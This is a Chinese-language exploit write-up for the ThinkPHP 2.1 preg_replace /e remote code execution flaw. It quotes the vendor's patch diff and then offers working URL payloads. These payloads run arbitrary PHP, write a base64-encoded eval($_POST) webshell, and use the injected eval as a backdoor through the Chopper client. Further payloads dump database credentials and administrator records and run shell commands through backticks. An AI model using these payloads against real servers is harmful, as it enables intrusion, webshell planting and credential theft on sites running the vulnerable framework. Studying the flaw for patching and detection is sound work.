thinkphp 2.1的版本
我們來分析下漏洞吧
官方發布了一個安全補丁
表述是:該URL安全漏洞會造成用戶在客戶端偽造URL,執行非法代碼。
官方的補丁:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
125 –$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=’\2′;’, implode($depr,$paths));
這個代碼是把pathinfo當作restful類型url進行解析的,主要作用是把pathinfo中的數據解析並合並到$_GET數組中。
然而在用正則解析pathinfo的時候,主要是這一句:
$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
這里明顯使用了preg_replace的/e參數,這是個非常危險的參數,如果用了這個參數,preg_replace第二個參數就會被當做php代碼執行,作者用這種方式在第二個參數中,利用PHP代碼給數組動態賦值。
‘$var['\1']=”\2″;’
而這里又是雙引號,而雙引號中的php變量語法又是能夠被解析執行的。因此,攻擊者只要對任意一個使用thinkphp框架編寫的應用程序,使用如下方式進行訪問,即可執行任意PHP代碼:
index.php/module/action/param1/${@print(THINK_VERSION)}
執行效果如下:
就是說
print( )里面可以執行我們的任意代碼
如phpinfo()等其他函數
那就行了
我們可以直接利用
fputs和fopen函數直接寫木馬出來了
構造語句
fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”))
base64_decode(“bW0ucGhw”)解碼后是mm.php
base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)解碼后是<?eval($_POST[c]);?>
只要執行了 就能在該目錄下生成一個mm.php的一句話木馬文件
但是操作的時候出現了問題
經分析 是雙引號被轉義了
然后我試了其他幾種不用雙引號寫馬的代碼
都失敗了 原因是 <> 尖括號等都被轉義了 而用
exec()等系統命令執行函數寫馬的話是寫不出的
網上的利用方法貌似很少 只有神刀網的那個用echo寫馬的方法
但是前提是雙引號沒有被轉義掉才能成功
怎么辦呢
這個時候不要太拘泥於這里了
一個中國人搞安全怎么能忘記中國人寫的軟件菜刀了
直接構造代碼
http://www.2cto.com /project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}
菜刀里面直接填這個路徑 密碼C 就能連接了
根本不用拘泥於寫馬的問題!
ps:
1.使用THINK_VERSION可以獲取Thinkphp的版本號
如:/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D
2.使用C方法,獲取數據庫配置相關信息:C(DB_NAME)、C(DB_HOST)、C(DB_USER)、C(DB_PWD)等
如: /index.php/module/action/param1/$%7B@print(C(db_name))%7D
3.使用D方法或者M方法,查詢數據庫,最典型的使用方式var_dump(D(Admin)->select()),能夠查詢出管理員信息,當然,表名需要猜一下,一般是admin,user等。
如:/index.php/module/action/param1/$%7B@print(var_dump(D(Admin)->select()))%7D
4.利用PHP在“·”(Tab鍵上面的鍵,URL編碼后為%60)之間的內容可以當做命令執行的方式,不管是windows還是Linux下,都可以執行cmd或者是Shell命令。
如:
index.php/module/action/param1/$%7B@print(%60dirls%60)%7D ---------- 在windows下
index.php/module/action/param1/$%7B@print(%60ls%60)%7D -------------在linux下
可以獲取目錄內容。